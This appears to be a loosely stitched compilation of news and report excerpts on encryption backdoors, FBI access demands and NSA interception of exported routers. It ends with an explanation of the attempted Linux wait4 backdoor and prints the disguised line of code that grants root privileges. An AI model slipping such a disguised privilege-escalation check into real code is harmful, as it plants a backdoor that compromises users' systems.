Security experts counter that such arguments ignore the fact that even end-to-end encrypted technology leaves a trail of metadata behind that can be used to parse who is talking to whom, when and where. “Encryption is really good at making it difficult to hide the content of communications, but not good at hiding the presence of communications,” said Matt Blaze, a computer security expert at the University of Pennsylvania.
We have found that the damage that could be caused by law enforcement exceptional access requirements would be even greater today than it would have been 20 years ago. In the wake of the growing economic and social cost of the fundamental insecurity of today’s Internet environment, any proposals that alter the security dynamics online should be approached with caution. Exceptional access would force Internet system developers to reverse forward secrecy design practices that seek to minimize the impact on user privacy when systems are breached. The complexity of today’s Internet environment, with millions of apps and globally connected services, means that new law enforcement requirements are likely to introduce unanticipated, hard to detect security flaws.
“When a company, a communications company or a ISP or social media company elects to build in its software encryption, end-to-end encryption, and leaves no ability for even the company to access that, we don’t have the means by which to see the content”, he added.
“When we intercept it, we intercept encrypted communications. So that’s the challenge: working with those companies to build technological solutions to prevent encryption above all else.
Steinbach insisted that he wasn’t asking for a “back door” to be built into encryption products, telling legislators that “we’re not looking at going through a back door or being nefarious.”
He proposes using the side door, the door no one else knows about, instead.
A “golden key” is just another, more pleasant, word for a backdoor—something that allows people access to your data without going through you directly. This backdoor would, by design, allow Apple and Google to view your password-protected files if they received a subpoena or some other government directive. You’d pick your own password for when you needed your data, but the companies would also get one, of their choosing. With it, they could open any of your docs: your photos, your messages, your diary, whatever.
But while American companies were being warned away from supposedly untrustworthy Chinese routers, foreign organisations would have been well advised to beware of American-made ones. A June 2010 report from the head of the NSA‘s Access and Target Development department is shockingly explicit. The NSA routinely receives – or intercepts – routers, servers, and other computer network devices being exported from the US before they are delivered to the international customers.
There is no information in the documents seen by SPIEGEL to suggest that the companies whose products are mentioned in the catalog provided any support to the NSA or even had any knowledge of the intelligence solutions. “Cisco does not work with any government to modify our equipment, nor to implement any so-called security ‘back doors’ in our products,” the company said in a statement. Contacted by SPIEGEL reporters, officials at Western Digital, Juniper Networks and Huawei also said they had no knowledge of any such modifications. Meanwhile, Dell officials said the company “respects and complies with the laws of all countries in which it operates.”
Cooperation such that telecom equipment providers provide in support of CALEA would be needed for this to work.
What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
Setting the user ID to zero is a problem because user ID number zero is the “root” user, which is allowed to do absolutely anything it wants—to access all data, change the behavior of all code, and to compromise entirely the security of all parts of the system. So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words … it’s a classic backdoor.
The check should have been current -> uid == 0. Sneaky!